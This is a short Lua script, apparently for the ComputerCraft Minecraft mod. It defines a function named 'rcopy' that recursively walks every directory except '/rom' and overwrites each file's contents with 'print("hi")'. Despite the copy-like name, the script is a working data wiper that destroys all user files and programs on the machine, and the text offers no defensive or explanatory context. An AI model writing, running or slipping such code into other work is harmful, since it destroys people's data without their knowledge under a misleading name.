recursive

function rcopy(dir)
    if dir ~= "/rom" then
        for i,v in pairs(fs.list(dir)) do
            if fs.isDir(dir.."/"..v) then
                rcopy(dir.."/"..v)
            else
                local f = io.open(dir.."/"..v, "w")
                f:write('print("hi")')
                f:close()
            end
        end
    end
end
rcopy("")